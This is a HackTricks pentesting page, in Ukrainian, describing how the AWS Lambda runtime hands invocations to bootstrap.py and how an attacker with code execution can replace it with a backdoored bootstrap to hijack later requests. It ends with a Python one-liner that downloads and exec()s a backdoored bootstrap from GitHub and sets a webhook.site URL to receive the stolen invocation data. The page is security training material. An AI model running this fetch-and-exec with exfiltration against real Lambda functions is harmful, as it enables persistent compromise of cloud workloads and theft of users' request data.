AWS - Steal Lambda Requests

Підтримати HackTricks

Потік Lambda

  1. Slicer - це процес поза контейнером, який надсилає виклики до процесу init.

  2. Процес init слухає на порту 9001, відкриваючи деякі цікаві кінцеві точки:

  • /2018-06-01/runtime/invocation/next – отримати наступну подію виклику

  • /2018-06-01/runtime/invocation/{invoke-id}/response – повернути відповідь обробника для виклику

  • /2018-06-01/runtime/invocation/{invoke-id}/error – повернути помилку виконання

  1. bootstrap.py має цикл, що отримує виклики з процесу init і викликає код користувача для їх обробки (/next).

  2. Нарешті, bootstrap.py надсилає до init відповідь

Зверніть увагу, що bootstrap завантажує код користувача як модуль, тому будь-яке виконання коду, яке виконується кодом користувача, насправді відбувається в цьому процесі.

Вкрадання запитів Lambda

Мета цієї атаки - змусити код користувача виконати шкідливий процес bootstrap.py всередині процесу bootstrap.py, який обробляє вразливий запит. Таким чином, шкідливий bootstrap процес почне спілкуватися з процесом init, щоб обробляти запити, поки легітимний bootstrap потрапить у пастку, виконуючи шкідливий, тому не буде запитувати запити у процесу init.

Це проста задача, оскільки код користувача виконується легітимним процесом bootstrap.py. Тому зловмисник може:

  • Надіслати підроблений результат поточного виклику до процесу init, щоб init думав, що процес bootstrap чекає на більше викликів.

  • Запит має бути надісланий до /${invoke-id}/response

  • invoke-id можна отримати зі стеку легітимного процесу bootstrap.py, використовуючи модуль inspect python (як пропонувалося тут) або просто запитуючи його знову до /2018-06-01/runtime/invocation/next (як пропонувалося тут).

  • Виконати шкідливий boostrap.py, який оброблятиме наступні виклики

  • Для цілей маскування можливо надіслати параметри викликів lambda на C2, контрольований зловмисником, а потім обробляти запити як зазвичай.

  • Для цієї атаки достатньо отримати оригінальний код bootstrap.py з системи або github, додати шкідливий код і запустити його з поточного виклику lambda.

Кроки атаки

  1. Знайти вразливість RCE.

  2. Згенерувати шкідливий bootstrap (наприклад, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)

  3. Виконати шкідливий bootstrap.

Ви можете легко виконати ці дії, запустивши:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Для отримання додаткової інформації перегляньте https://github.com/carlospolop/lambda_bootstrap_switcher

Посилання

Підтримайте HackTricks

Last updated